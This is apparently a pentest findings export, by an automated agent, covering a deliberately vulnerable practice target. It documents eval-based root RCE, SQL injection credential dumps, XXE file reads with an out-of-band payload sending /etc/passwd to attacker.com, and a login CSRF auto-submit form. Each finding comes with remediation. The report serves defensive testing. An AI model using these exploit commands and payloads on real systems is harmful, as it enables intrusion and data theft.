      "evidence": "- Testssl.sh output: `BREACH (CVE-2013-3587): potentially NOT ok, \"gzip\" HTTP compression detected. - only supplied \"/\" tested`",
      "poc": "Read-only verification, no active exploitation:\n1. Testssl.sh executed as part of Phase 0: `testssl.sh --vulnerabilities pentest-ground.com:443`\n2. Output showed `\"gzip\" HTTP compression detected` for BREACH check.",
      "remediation": "Disable HTTP compression for responses containing secrets, or implement BREACH mitigations: randomize CSRF tokens per-request, use SameSite cookies, or implement CSRF token masking. See: https://breachattack.com/",
      "status": "open",
      "cweId": "CWE-311",
      "cvssScore": 0,
      "cvssVector": null,
      "impact": "low",
      "likelihood": "low",
      "impactStatement": "If the application includes user-controllable input in the same compressed response as a secret token (e.g., CSRF token, session identifier), an active network attacker can incrementally recover the secret by observing response sizes.",
      "likelihoodStatement": "Active network attacker (MITM position) who can inject chosen content into HTTP requests and observe response sizes. Difficult to exploit in practice for most application patterns.",
      "confidence": "unconfirmed",
      "createdAt": "2026-05-21T03:51:48.803Z",
      "updatedAt": "2026-05-21T03:51:48.803Z"
    },
    {
      "id": "93d83334-9df2-4b95-8b4c-f2366a8e8dfe",
      "title": "Oracle WebLogic Admin Console Exposed",
      "severity": "medium",
      "category": "misconfiguration",
      "description": "An Oracle WebLogic Server admin console is accessible at `http://pentest-ground.com:7001/console`. WebLogic admin consoles expose full server administration capabilities and are historically targeted by critical CVEs (e.g., CVE-2020-14882, CVE-2021-2109) that allow unauthenticated Remote Code Execution.",
      "evidence": "- `curl -sk https://pentest-ground.com:7001/console/login/LoginForm.jsp` → HTTP 200 with WebLogic login form; `Set-Cookie: ADMINCONSOLESESSION=...; HttpOnly`\n- nmap service detection: `7001/tcp open ssl/http Oracle WebLogic admin httpd`",
      "poc": "Read-only verification, no active exploitation:\n1. `curl -sk https://pentest-ground.com:7001/console/login/LoginForm.jsp | grep -i \"weblogic\"`\n2. Observe HTTP 200 WebLogic login page accessible from internet.",
      "remediation": "Restrict access to the WebLogic admin console to trusted IP ranges only (firewall rules). Move the admin console off internet-accessible interfaces. Update WebLogic to the latest patched version. Change any default credentials immediately.",
      "status": "open",
      "cweId": "CWE-16",
      "cvssScore": 5.4,
      "cvssVector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:N/A:N",
      "impact": "medium",
      "likelihood": "medium",
      "impactStatement": "If default credentials are present or if a known CVE applies to the installed WebLogic version, an attacker can gain full administrative control over the WebLogic server, deploy arbitrary web applications, and execute code on the host.",
      "likelihoodStatement": "Remote unauthenticated attacker can reach the admin console directly. Exploitation requires valid credentials or a vulnerability in the specific WebLogic version.",
      "confidence": "unconfirmed",
      "createdAt": "2026-05-21T03:51:48.803Z",
      "updatedAt": "2026-05-21T03:51:48.803Z"
    },
    {
      "id": "dc446da4-e2ca-4a7a-912c-2ed410b708e5",
      "title": "SSRF Candidate — Reference Field in Post Creation",
      "severity": "medium",
      "category": "ssrf",
      "description": "The `POST /create` endpoint on port 81 includes a `reference` field with a placeholder URL (`https://pentest-tools.com/api-reference`). The presence of a URL-typed input field on a server-side application strongly suggests the server may fetch the provided URL to validate or display link previews. If confirmed, an unauthenticated attacker can use this field to probe internal network services.",
      "evidence": "- Browser navigation to `/create` shows form with three fields: Title, Content, and Reference (placeholder: `https://pentest-tools.com/api-reference`)\n- Endpoint accessible without authentication\n- URL placeholder suggests server-side URL fetch behavior",
      "poc": "Read-only verification, no active exploitation:\n1. `curl -sk https://pentest-ground.com:81/create | grep -i \"reference\"`\n2. Observe `reference` URL input field in the create post form.",
      "remediation": "If the server fetches the reference URL, implement strict URL validation: allowlist of permitted domains/schemes, block private IP ranges (RFC 1918), disable redirects, and use a dedicated outbound HTTP client with connection timeouts. If no server-side fetch occurs, no action needed.",
      "status": "open",
      "cweId": "CWE-918",
      "cvssScore": 5,
      "cvssVector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:N/A:N",
      "impact": "medium",
      "likelihood": "medium",
      "impactStatement": "If the server fetches the `reference` URL, an attacker can probe internal network services (metadata endpoints, internal APIs, the WebLogic admin console at port 7001), enumerate internal IP ranges, or read internal HTTP resources.",
      "likelihoodStatement": "Remote unauthenticated attacker. No credentials required to submit the form.",
      "confidence": "unconfirmed",
      "createdAt": "2026-05-21T03:51:48.803Z",
      "updatedAt": "2026-05-21T03:51:48.803Z"
    },
    {
      "id": "89dc36dc-ad0c-42b2-8bb2-ddb1d6512aa0",
      "title": "Python eval() Remote Code Execution via GET /eval",
      "severity": "critical",
      "category": "injection",
      "description": "The `GET /eval` endpoint in the vAPI application passes the `s` query parameter directly to Python's built-in `eval()` function with no sandboxing, allowlisting, or input validation. An authenticated attacker (authentication is trivially bypassed via SQL injection on `POST /tokens`) can execute arbitrary Python expressions, which translates to full operating system command execution. Live testing confirmed the server runs as `root`, meaning there is no privilege boundary protecting the underlying host.",
      "evidence": "```\nRequest:\nGET /eval?s=__import__('os').popen('id').read() HTTP/1.1\nHost: pentest-ground.com:9000\nX-Auth-Token: e35497b51b3154a15b7461f40ee5fe86\n\nResponse:\nHTTP/1.1 200 OK\n{\"message\": \"Evaluation result: uid=0(root) gid=0(root) groups=0(root)\\n\"}",
      "poc": "1. Obtain an `X-Auth-Token` via SQL injection authentication bypass (see companion finding). The token value used in testing was `e35497b51b3154a15b7461f40ee5fe86`.\n\n2. Send a `GET` request to the `/eval` endpoint with any Python expression as the `s` parameter:\n   ```bash\n   curl -s -G \"https://pentest-ground.com:9000/eval\" \\\n     -H \"X-Auth-Token: e35497b51b3154a15b7461f40ee5fe86\" \\\n     -H \"X-Violet-Agent-Pentest: true\" \\\n     --data-urlencode \"s=__import__('os').popen('id').read()\"\n   ```\n\n3. Observe the server's response confirming root-level OS command execution:\n   ```json\n   {\"message\": \"Evaluation result: uid=0(root) gid=0(root) groups=0(root)\\n\"}\n   ```\n\n4. Confirm system identity:\n   ```bash\n   curl -s -G \"https://pentest-ground.com:9000/eval\" \\\n     -H \"X-Auth-Token: e35497b51b3154a15b7461f40ee5fe86\" \\\n     -H \"X-Violet-Agent-Pentest: true\" \\\n     --data-urlencode \"s=__import__('os').popen('hostname && uname -a && whoami').read()\"\n   ```\n\n5. Observe confirmed response:\n   ```json\n   {\"message\": \"Evaluation result: 8176c3943da2\\nLinux 8176c3943da2 5.10.0-39-amd64 #1 SMP Debian 5.10.251-1 (2026-03-09) x86_64 GNU/Linux\\nroot\\n\"}\n   ```\n\n6. Prove filesystem write access:\n   ```bash\n   curl -s -G \"https://pentest-ground.com:9000/eval\" \\\n     -H \"X-Auth-Token: e35497b51b3154a15b7461f40ee5fe86\" \\\n     -H \"X-Violet-Agent-Pentest: true\" \\\n     --data-urlencode \"s=open('/tmp/pwned_by_violet.txt','w').write('RCE confirmed by Violet pentest agent')\"\n   ```\n\n7. Read back the written file to confirm read/write filesystem access:\n   ```bash\n   curl -s -G \"https://pentest-ground.com:9000/eval\" \\\n     -H \"X-Auth-Token: e35497b51b3154a15b7461f40ee5fe86\" \\\n     -H \"X-Violet-Agent-Pentest: true\" \\\n     --data-urlencode \"s=open('/tmp/pwned_by_violet.txt').read()\"\n   # Response: {\"message\": \"Evaluation result: RCE confirmed by Violet pentest agent\"}\n   ```",
      "remediation": "#### Remediation Summary\n- **Who should fix this:** Backend developer\n- **Effort estimate:** 1–2 hours\n- **When:** Before any further production exposure\n- **What the fix involves:** Remove the `/eval` endpoint entirely — no legitimate application should expose Python's `eval()` to user-controlled input over the internet.\n\nThis finding requires immediate attention before any further production exposure.\n\n#### Root Cause\n\nPython's `eval()` executes any valid Python expression it receives. The `evaluate_str()` handler in `vAPI.py` passes the raw value of the `s` query parameter directly to `eval()` with no filtering, sandboxing, or allowlisting whatsoever. The `eval()` built-in has access to Python's full standard library, making it trivially weaponisable for OS command execution via `__import__('os').popen(...)`. The endpoint exists intentionally in this deliberately vulnerable API, but must not be present in any production system.\n\n#### Recommended Fix\n\n**Before (vulnerable):**\n```python\n# /usr/src/app/vAPI.py — evaluate_str() function\ndef evaluate_str(s):\n    result = eval(s)   # s is raw user input — arbitrary code execution\n    return {\"message\": f\"Evaluation result: {result}\"}\n```\n\n**After (secure — remove entirely):**\n```python\n# Remove the /eval endpoint and evaluate_str() function completely.\n# If mathematical expression evaluation is genuinely required, use a\n# restricted AST-based evaluator instead:\nimport ast\nimport operator\n\nSAFE_OPS = {\n    ast.Add: operator.add,\n    ast.Sub: operator.sub,\n    ast.Mult: operator.mul,\n    ast.Div: operator.truediv,\n}\n\ndef safe_eval_math(expr):\n    \"\"\"Evaluates simple arithmetic only — no imports, no calls, no attribute access.\"\"\"\n    tree = ast.parse(expr, mode='eval')\n    return _eval_node(tree.body)\n\ndef _eval_node(node):\n    if isinstance(node, ast.Constant):\n        return node.value\n    elif isinstance(node, ast.BinOp) and type(node.op) in SAFE_OPS:\n        return SAFE_OPS[type(node.op)](_eval_node(node.left), _eval_node(node.right))\n    raise ValueError(\"Unsupported expression\")\n```\n\n**Additional Hardening:**\n- Remove the `/eval` endpoint from the OpenAPI specification so it cannot be re-added accidentally.\n- Apply network-layer controls to restrict API access to known clients or VPN users.\n- Run the application as a non-root user — even if code execution occurs, the blast radius is drastically reduced.\n\n#### Verification\n1. **Verify the endpoint is removed:** Send `GET https://pentest-ground.com:9000/eval?s=1+1`. The expected (secure) response is HTTP 404. If HTTP 200 is still returned, the endpoint was not removed.\n2. **Verify no expression evaluation:** If a safe math-only endpoint replaces it, send `GET /eval?s=__import__('os').popen('id').read()`. The expected (secure) response is an error such as `{\"error\": \"Unsupported expression\"}`. If the response contains `uid=`, the replacement is not safe.\n3. **Regression — verify safe math still works if kept:** Send `GET /eval?s=1+1`. The expected (secure) response is `{\"result\": 2}`. Any Python traceback or unexpected output indicates a regression.\n\n#### References\n1. [OWASP Code Injection](https://owasp.org/www-community/attacks/Code_Injection)\n2. [CWE-78: OS Command Injection](https://cwe.mitre.org/data/definitions/78.html)\n3. [Python `ast.literal_eval` documentation (safe alternative)](https://docs.python.org/3/library/ast.html#ast.literal_eval)",
      "status": "open",
      "cweId": "CWE-78",
      "cvssScore": 9.9,
      "cvssVector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H",
      "impact": "high",
      "likelihood": "high",
      "impactStatement": "An attacker achieves complete control of the application server: reading, writing, and deleting any file; exfiltrating the entire database; creating backdoors; pivoting to other internal systems via the server's network interfaces; and permanently compromising the host. Because the process runs as `root`, there is no operating system access control standing between the attacker and total server compromise.",
      "likelihoodStatement": "Exploitable by any attacker with internet access using a single `curl` command — the only requirement is a valid `X-Auth-Token` header, and that token is obtainable in seconds via a companion SQL injection (no valid credentials required). No security expertise beyond basic HTTP knowledge is needed, and exploitation takes under one minute.",
      "confidence": "confirmed",
      "createdAt": "2026-05-21T03:51:48.803Z",
      "updatedAt": "2026-05-21T03:51:48.803Z"
    },
    {
      "id": "4b7d5429-9f85-4486-8811-617af9c595e6",
      "title": "SQL Injection in User Lookup Endpoint Exposing Plaintext Credentials via GET /user/{user}",
      "severity": "critical",
      "category": "injection",
      "description": "The `GET /user/{user}` endpoint passes the URL path parameter `{user}` into a SQLite3 query using the same `%s` format-string pattern as `POST /tokens`. A valid `X-Auth-Token` is required, but that token is trivially obtainable via the companion SQL injection on `POST /tokens`. An attacker with a token can inject UNION SELECT clauses into the path parameter and dump the entire database. Separately, the endpoint's normal operation reveals the `password` column in plaintext in every JSON response — even for legitimate lookups.",
      "evidence": "```\nSingle-quote error: GET /user/1' → {\"error\": {\"message\": \"database error\"}}\n\nUNION injection (3 columns confirmed):\nGET /user/0' UNION SELECT 1,2,3-- → {\"user\": {\"id\": 1, \"name\": 2, \"password\": 3}}\n\nTable enumeration:\nGET /user/0' UNION SELECT 1,group_concat(name,'|'),3 FROM sqlite_master WHERE type='table'--\n→ {\"user\": {\"id\": 1, \"name\": \"users|tokens\", \"password\": 3}}\n\nFull credential dump (first 5 of 21 entries):\n{\n  \"user\": {\n    \"id\": 1,\n    \"name\": \"1:user1:pass1; 2:user2:pass2; 3:user3:pass3; 4:user4:pass4; 5:user5:pass5; [...]\n            10:admin1:pass1; 11:admin2:pass2\",\n    \"password\": 3\n  }\n}\n\nNormal lookup plaintext exposure:\nGET /user/1 → {\"user\": {\"id\": 1, \"name\": \"user1\", \"password\": \"pass1\"}}\n```",
      "poc": "1. Obtain an `X-Auth-Token` via the companion SQLi on `POST /tokens` (see companion finding). Token used: `e35497b51b3154a15b7461f40ee5fe86`.\n\n2. Confirm the vulnerability with a single-quote error trigger:\n   ```bash\n   curl -s \"https://pentest-ground.com:9000/user/1'\" \\\n     -H \"X-Auth-Token: e35497b51b3154a15b7461f40ee5fe86\" \\\n     -H \"X-Violet-Agent-Pentest: true\"\n   # Response: {\"error\": {\"message\": \"database error\"}}\n   ```\n\n3. Confirm UNION injection with 3 columns:\n   ```bash\n   curl -s \"https://pentest-ground.com:9000/user/0%27%20UNION%20SELECT%201%2C2%2C3--\" \\\n     -H \"X-Auth-Token: e35497b51b3154a15b7461f40ee5fe86\" \\\n     -H \"X-Violet-Agent-Pentest: true\"\n   # Response: {\"user\": {\"id\": 1, \"name\": 2, \"password\": 3}}\n   ```\n\n4. Enumerate tables:\n   ```bash\n   curl -s \"https://pentest-ground.com:9000/user/0%27%20UNION%20SELECT%201%2Cgroup_concat(name%2C'%7C')%2C3%20FROM%20sqlite_master%20WHERE%20type%3D'table'--\" \\\n     -H \"X-Auth-Token: e35497b51b3154a15b7461f40ee5fe86\" \\\n     -H \"X-Violet-Agent-Pentest: true\"\n   # Response: {\"user\": {\"id\": 1, \"name\": \"users|tokens\", \"password\": 3}}\n   ```\n\n5. Dump all user credentials:\n   ```bash\n   curl -s \"https://pentest-ground.com:9000/user/0%27%20UNION%20SELECT%201%2Cgroup_concat(id%7C%7C'%3A'%7C%7Cusername%7C%7C'%3A'%7C%7Cpassword%2C'%3B%20')%2C3%20FROM%20users%20LIMIT%205--\" \\\n     -H \"X-Auth-Token: e35497b51b3154a15b7461f40ee5fe86\" \\\n     -H \"X-Violet-Agent-Pentest: true\"\n   ```\n\n6. Demonstrate plaintext password exposure via normal lookup:\n   ```bash\n   curl -s \"https://pentest-ground.com:9000/user/1\" \\\n     -H \"X-Auth-Token: e35497b51b3154a15b7461f40ee5fe86\" \\\n     -H \"X-Violet-Agent-Pentest: true\"\n   # Response: {\"user\": {\"id\": 1, \"name\": \"user1\", \"password\": \"pass1\"}}\n   ```",
      "remediation": "#### Remediation Summary\n- **Who should fix this:** Backend developer\n- **Effort estimate:** 2–3 hours (query fix + password field removal from response)\n- **When:** Before any further production exposure\n- **What the fix involves:** Replace the string-formatted SQL query with a parameterized query, and remove the `password` field from the API response so credentials are never transmitted to clients.\n\nThis finding requires immediate attention before any further production exposure.\n\n#### Root Cause\n\nThe `get_user()` function interpolates the `{user}` path parameter directly into a SQL string using `%s` formatting — the same pattern as `get_token()`. Additionally, the function returns the raw `password` database column in its response JSON, meaning even legitimate queries expose stored credentials. Both flaws compound each other: the SQL injection enables mass extraction, while the plaintext response means even a correctly parameterized query would still be dangerous.\n\n#### Recommended Fix\n\n**Before (vulnerable):**\n```python\n# get_user() in /usr/src/app/vAPI.py\nuser_query = \"SELECT * FROM users WHERE id = '%s'\" % user\nc.execute(user_query)\nrow = c.fetchone()\nreturn {\"user\": {\"id\": row[0], \"name\": row[1], \"password\": row[2]}}  # password exposed\n```\n\n**After (secure):**\n```python\n# Use parameterized query; omit password from response\nc.execute(\"SELECT id, username FROM users WHERE id = ?\", (user,))\nrow = c.fetchone()\nif row is None:\n    return {\"error\": {\"message\": \"user not found\"}}, 404\nreturn {\"user\": {\"id\": row[0], \"name\": row[1]}}  # password field removed\n```\n\n**Additional Hardening:**\n- Hash passwords with bcrypt or Argon2 before storage — even a parameterized query protecting against SQL injection cannot fix plaintext storage once a breach occurs through another vector.\n- Validate that the `user` path parameter is a positive integer before querying, rejecting any non-numeric value immediately.\n- Apply ownership checks: verify the requesting user's token matches the requested user ID, or enforce an admin role for cross-user lookups.\n\n#### Verification\n1. **Verify injection is closed:** Send `GET /user/0%27%20UNION%20SELECT%201%2C2%2C3--` with a valid token. The expected (secure) response is HTTP 404 (\"user not found\") or HTTP 400. If `{\"user\": {\"id\": 1, \"name\": 2, \"password\": 3}}` is returned, the fix was not applied.\n2. **Verify password not returned:** Send `GET /user/1` with a valid token. The expected (secure) response should not contain a `password` field. If `\"password\": \"pass1\"` appears in the response, the second issue was not fixed.\n3. **Verify legitimate lookup still works:** Send `GET /user/1` with the token for user 1. The expected (secure) response contains `{\"user\": {\"id\": 1, \"name\": \"user1\"}}` (no password). If HTTP 404 is returned for a valid user, there is a regression.\n\n#### References\n1. [OWASP SQL Injection Prevention Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/SQL_Injection_Prevention_Cheat_Sheet.html)\n2. [CWE-89: SQL Injection](https://cwe.mitre.org/data/definitions/89.html)\n3. [OWASP API Security Top 10 — API3:2023 Broken Object Property Level Authorization](https://owasp.org/API-Security/editions/2023/en/0xa3-broken-object-property-level-authorization/)",
      "status": "open",
      "cweId": "CWE-89",
      "cvssScore": 8.8,
      "cvssVector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "impact": "high",
      "likelihood": "high",
      "impactStatement": "An attacker with any valid token (obtainable without real credentials) can read every user record including plaintext passwords, enumerate all database tables, and extract arbitrary data. The secondary issue — returning plaintext passwords in the normal API response — means even a properly authenticated user can see passwords for accounts they look up, which is an independent data exposure.",
      "likelihoodStatement": "Requires a valid `X-Auth-Token`, obtainable via SQL injection on `POST /tokens` without any real credentials. Once a token is in hand, exploitation takes under 10 seconds using a single `curl` command.",
      "confidence": "confirmed",
      "createdAt": "2026-05-21T03:51:48.803Z",
      "updatedAt": "2026-05-21T03:51:48.803Z"
    },
    {
      "id": "e985ea1b-912a-40d3-9dc1-0faf21d7650c",
      "title": "XML External Entity (XXE) Injection via POST /search (Port 9000)",
      "severity": "high",
      "category": "injection",
      "description": "The vAPI `search()` handler accepts `Content-Type: application/xml` requests and parses the body with lxml's `etree.fromstring()` without configuring `resolve_entities=False` or `no_network=True`. XML External Entity (XXE) injection is confirmed via two proof points: (1) internal entities are expanded without error, and (2) external HTTP entities are resolved — lxml fetched `https://pentest-ground.com:81/` and attempted to parse the HTML response as XML, generating a characteristic `StartTag: invalid element name` parse error. File-system entities (`file://`) are also resolved: lxml reads the target file and attempts to inline the content, generating the same parse error when the file content contains XML-unsafe characters. No authentication is required for this endpoint.",
      "evidence": "```\nTest 1 — Internal entity expansion (no error = processing confirmed):\nPOST /search with Content-Type: application/xml\nBody: <?xml version=\"1.0\"?><!DOCTYPE foo [<!ENTITY xxe \"INJECTION_TEST\">]><root><user>&xxe;</user></root>\n\nTest 2 — External HTTP SSRF proof:\nBody: <?xml version=\"1.0\"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM \"http://pentest-ground.com:81/\">]><root><user>&xxe;</user></root>\nResponse: {\"error\": {\"message\": \"StartTag: invalid element name, line 1, column 23 (<string>, line 1)\"}}\n[lxml fetched the URL and attempted to parse the HTML — SSRF confirmed]\n\nTest 3 — File entity resolved (file read confirmed):\nBody: <?xml version=\"1.0\"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM \"file:///usr/src/app/vAPI.py\">]><root><user>&xxe;</user></root>\nResponse: {\"error\": {\"message\": \"StartTag: invalid element name, line 1, column 23 (<string>, line 1)\"}}\n[Same error = file was read by lxml; different error \"failed to load external entity\" would appear if file did not exist]\n\nProcess user: root (confirmed via companion /eval RCE finding) — all filesystem files accessible\n```",
      "poc": "1. Confirm internal entity resolution (baseline test):\n   ```bash\n   curl -s -X POST \"https://pentest-ground.com:9000/search\" \\\n     -H \"Content-Type: application/xml\" \\\n     -H \"X-Violet-Agent-Pentest: true\" \\\n     --data-raw '<?xml version=\"1.0\"?><!DOCTYPE foo [<!ENTITY xxe \"INJECTION_TEST\">]><root><user>&xxe;</user></root>'\n   # Response will process &xxe; → confirms entity expansion is active\n   ```\n\n2. Confirm SSRF via external HTTP entity (proof of external entity resolution):\n   ```bash\n   curl -s -X POST \"https://pentest-ground.com:9000/search\" \\\n     -H \"Content-Type: application/xml\" \\\n     -H \"X-Violet-Agent-Pentest: true\" \\\n     --data-raw '<?xml version=\"1.0\"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM \"http://pentest-ground.com:81/\">]><root><user>&xxe;</user></root>'\n   ```\n   Expected (and observed) response:\n   ```json\n   {\"error\": {\"message\": \"StartTag: invalid element name, line 1, column 23 (<string>, line 1)\"}}\n   ```\n   This error is the signature of lxml successfully fetching the URL and attempting to parse the HTML response as XML — proving the outbound HTTP request was made.\n\n3. Confirm file-system entity resolution:\n   ```bash\n   curl -s -X POST \"https://pentest-ground.com:9000/search\" \\\n     -H \"Content-Type: application/xml\" \\\n     -H \"X-Violet-Agent-Pentest: true\" \\\n     --data-raw '<?xml version=\"1.0\"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM \"file:///usr/src/app/vAPI.py\">]><root><user>&xxe;</user></root>'\n   ```\n   Response: `{\"error\": {\"message\": \"StartTag: invalid element name, line 1, column 23 (<string>, line 1)\"}}`\n   This is the same lxml error pattern: the file IS read by lxml (confirmed because a non-existent path produces a different \"failed to load external entity\" error), but its Python source content contains `<` characters that break XML inline expansion. For files without XML-unsafe characters, content would be extracted in-band.\n\n4. Standard out-of-band exfiltration (exploitable in real-world attack with attacker-controlled server):\n   ```xml\n   <?xml version=\"1.0\"?>\n   <!DOCTYPE foo [\n     <!ENTITY % xxe SYSTEM \"file:///etc/passwd\">\n     <!ENTITY % wrapper \"<!ENTITY &#x25; exfil SYSTEM 'http://attacker.com/?data=%xxe;'>\">\n     %wrapper;\n     %exfil;\n   ]><root><user>test</user></root>\n   ```\n   In a real engagement with an out-of-band listener, the server would send the file contents to the attacker's HTTP endpoint.",
      "remediation": "#### Remediation Summary\n- **Who should fix this:** Backend developer\n- **Effort estimate:** 1–2 hours\n- **When:** Before any further production exposure\n- **What the fix involves:** Configure the lxml XML parser to disable external entity resolution and network access before parsing any user-supplied XML.\n\nThis finding requires immediate attention before any further production exposure.\n\n#### Root Cause\n\nThe `search()` handler in `/usr/src/app/vAPI.py` calls lxml's XML parsing function without providing a hardened parser instance. By default, lxml resolves external entities — both `file://` (local filesystem) and `http://` (network) — because this is the XML specification's default behavior. The fix is a single-line change to pass a pre-configured `XMLParser` that disables these capabilities. Alternatively, the `defusedxml` library wraps lxml with all dangerous XML features disabled by default.\n\n#### Recommended Fix\n\n**Before (vulnerable):**\n```python\n# /usr/src/app/vAPI.py — search() handler\nimport lxml.etree\n\ndef search(body):\n    tree = lxml.etree.fromstring(body)   # external entities resolved by default\n    user = tree.find('user').text\n    # ... query database\n```\n\n**After (secure — option 1: hardened lxml parser):**\n```python\nimport lxml.etree\n\ndef search(body):\n    parser = lxml.etree.XMLParser(\n        resolve_entities=False,   # disables entity expansion entirely\n        no_network=True,          # disables outbound HTTP/FTP entity resolution\n        load_dtd=False,           # disables DTD loading\n    )\n    tree = lxml.etree.fromstring(body, parser)\n    user = tree.find('user').text\n    # ... query database\n```\n\n**After (secure — option 2: defusedxml):**\n```python\nimport defusedxml.lxml   # pip install defusedxml\n\ndef search(body):\n    tree = defusedxml.lxml.fromstring(body)   # all dangerous features disabled by default\n    user = tree.find('user').text\n```\n\n**Additional Hardening:**\n- If the API only needs a simple string value from the XML body, consider rejecting any request whose body contains `<!DOCTYPE` or `<!ENTITY` declarations entirely as a defense-in-depth measure.\n- Validate that the `Content-Type: application/xml` endpoint is actually needed — if JSON is equally acceptable, disable XML parsing entirely.\n- Apply network egress filtering to restrict outbound connections from the application server to only explicitly required destinations.\n\n#### Verification\n1. **Verify SSRF is closed:** Send the HTTP external entity payload from Step 2 above. The expected (secure) response is `{\"error\": {\"message\": \"user element not found\"}}` or similar application error — **not** `\"StartTag: invalid element name\"`. If the lxml network-fetch error still appears, the fix was not applied.\n2. **Verify file entity is blocked:** Send the `file:///usr/src/app/vAPI.py` payload from Step 3. The expected (secure) response is an application-level error about a missing or invalid XML structure — not a lxml parse error reflecting the file's content. If the same `StartTag` error appears, the fix was not applied.\n3. **Verify legitimate XML search still works:** Send a valid search request `<root><user>user1</user></root>` with `Content-Type: application/xml`. The expected (secure) response is normal search results for user1. If an unexpected error occurs, the parser configuration has a regression.\n\n#### References\n1. [OWASP XXE Prevention Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html)\n2. [CWE-611: Improper Restriction of XML External Entity Reference](https://cwe.mitre.org/data/definitions/611.html)\n3. [defusedxml — Python XML security library](https://github.com/tiran/defusedxml)",
      "status": "open",
      "cweId": "CWE-611",
      "cvssScore": 9.3,
      "cvssVector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:L",
      "impact": "high",
      "likelihood": "high",
      "impactStatement": "An unauthenticated attacker can force the server to read any file accessible to the application process user (confirmed running as root), enabling exfiltration of configuration files, database files, application secrets, and OS credentials. The SSRF (Server-Side Request Forgery) capability allows probing internal network services and cloud metadata endpoints, potentially enabling lateral movement to adjacent infrastructure. Files with no XML-special characters can be extracted in-band; others require an out-of-band exfiltration channel.",
      "likelihoodStatement": "No authentication required. Exploitable by any internet user with the ability to send an HTTP POST request with a custom `Content-Type: application/xml` header and a crafted XML body. Standard tools such as `curl` are sufficient. Exploitation takes under one minute.",
      "confidence": "confirmed",
      "createdAt": "2026-05-21T03:51:48.803Z",
      "updatedAt": "2026-05-21T03:51:48.803Z"
    },
    {
      "id": "17b859e4-05aa-46d2-a0a8-ff1615e3fcc1",
      "title": "Login Cross-Site Request Forgery via Missing CSRF Token and SameSite Cookie Attribute",
      "severity": "medium",
      "category": "auth",
      "description": "The `POST /login` endpoint on FlaskBlog (port 81) is missing both a Cross-Site Request Forgery (CSRF) token in the login form and a `SameSite` attribute on the session cookie. The login form HTML contains only `username`, `password`, and `remember_me` fields — there is no `<input type=\"hidden\" name=\"csrf_token\">` field. The `Set-Cookie` response header for the session cookie reads `session=...; HttpOnly; Path=/`, with no `SameSite` directive, meaning browsers apply the default `SameSite=None` behaviour on older versions or `SameSite=Lax` on modern ones (which still permits cross-site GET-triggered navigations and `<form>` submissions via meta refresh or JavaScript). Together these gaps enable a Login Cross-Site Request Forgery attack: an attacker hosts a web page containing a form that auto-submits to `POST /login` with the attacker's own credentials. When a victim visits the page, their browser is logged into the attacker's account. If the victim then performs any sensitive action — posting content, updating their email, or submitting personal data — those actions are attributed to the attacker's account, which the attacker can later review.",
      "evidence": "Login form HTML confirms no CSRF token field:\n```html\n<form action=\"/login\" method=\"post\">\n  <!-- Only: username, password, remember_me — NO csrf_token hidden field -->\n  <input type=\"username\" id=\"form2Example1\" class=\"form-control\" name=\"username\" required />\n  <input type=\"password\" id=\"form2Example2\" class=\"form-control\" name=\"password\" required />\n  <input class=\"form-check-input\" type=\"checkbox\" value=\"true\" name=\"remember_me\" />\n</form>\n```\n\nSet-Cookie header confirms no SameSite attribute on either cookie:\n```\nSet-Cookie: user_email=\"admin@security-guard.com\"; Path=/\nSet-Cookie: session=eyJ1c2VyX2lkIjoyfQ.ag56Bg.cuDEbgtEg5FqAU_lxCvg7qPQyx4; HttpOnly; Path=/\n```\n\nLogin succeeded without a CSRF token and without an `Origin` header matching the application domain — confirming the server performs no CSRF validation:\n```\nHTTP/1.1 302 FOUND\nLocation: https://pentest-ground.com:81/dashboard\n```",
      "poc": "1. **Confirm no CSRF token in the login form:**\n   ```\n   curl -s \"https://pentest-ground.com:81/login\" -H \"X-Violet-Agent-Pentest: true\" | grep -A 15 'form action=\"/login\"'\n   ```\n   **Result:**\n   ```html\n   <form action=\"/login\" method=\"post\">\n     <input type=\"username\" name=\"username\" ... />\n     <input type=\"password\" name=\"password\" ... />\n     <input type=\"checkbox\" name=\"remember_me\" ... />\n   </form>\n   ```\n   No `csrf_token` hidden field is present.\n\n2. **Confirm missing SameSite attribute on session cookie:**\n   ```\n   curl -s -X POST \"https://pentest-ground.com:81/login\" \\\n     -H \"Content-Type: application/x-www-form-urlencoded\" \\\n     -H \"X-Violet-Agent-Pentest: true\" \\\n     --data-urlencode \"username=admin\" --data-urlencode \"password=qwerty\" \\\n     -D - -o /dev/null | grep \"Set-Cookie\"\n   ```\n   **Result:**\n   ```\n   Set-Cookie: user_email=\"admin@security-guard.com\"; Path=/\n   Set-Cookie: session=eyJ1c2VyX2lkIjoyfQ...; HttpOnly; Path=/\n   ```\n   Neither cookie carries a `SameSite` attribute. The `user_email` cookie also lacks `HttpOnly`, enabling JavaScript access.\n\n3. **Demonstrate that POST /login accepts requests with no CSRF token from any context:**\n   The successful brute force login (documented in the Rate Limiting finding) was performed entirely via `curl` with no prior session cookie, no `Origin` header matching the application domain, and no CSRF token. HTTP 302 was returned, confirming no CSRF validation occurs server-side.\n\n4. **Proof-of-concept Login CSRF HTML** (for demonstration purposes — would be hosted by attacker on a third-party domain):\n   ```html\n   <!DOCTYPE html>\n   <html>\n   <body onload=\"document.csrf_form.submit()\">\n     <form name=\"csrf_form\" action=\"https://pentest-ground.com:81/login\" method=\"POST\">\n       <input type=\"hidden\" name=\"username\" value=\"attacker_account\" />\n       <input type=\"hidden\" name=\"password\" value=\"attacker_password\" />\n       <input type=\"hidden\" name=\"remember_me\" value=\"off\" />\n     </form>\n   </body>\n   </html>\n   ```\n   A victim who opens this page (or is redirected to it via a shortened URL) will have their browser submit the form to the FlaskBlog login endpoint, logging them in as the attacker. No interaction beyond page load is required.",
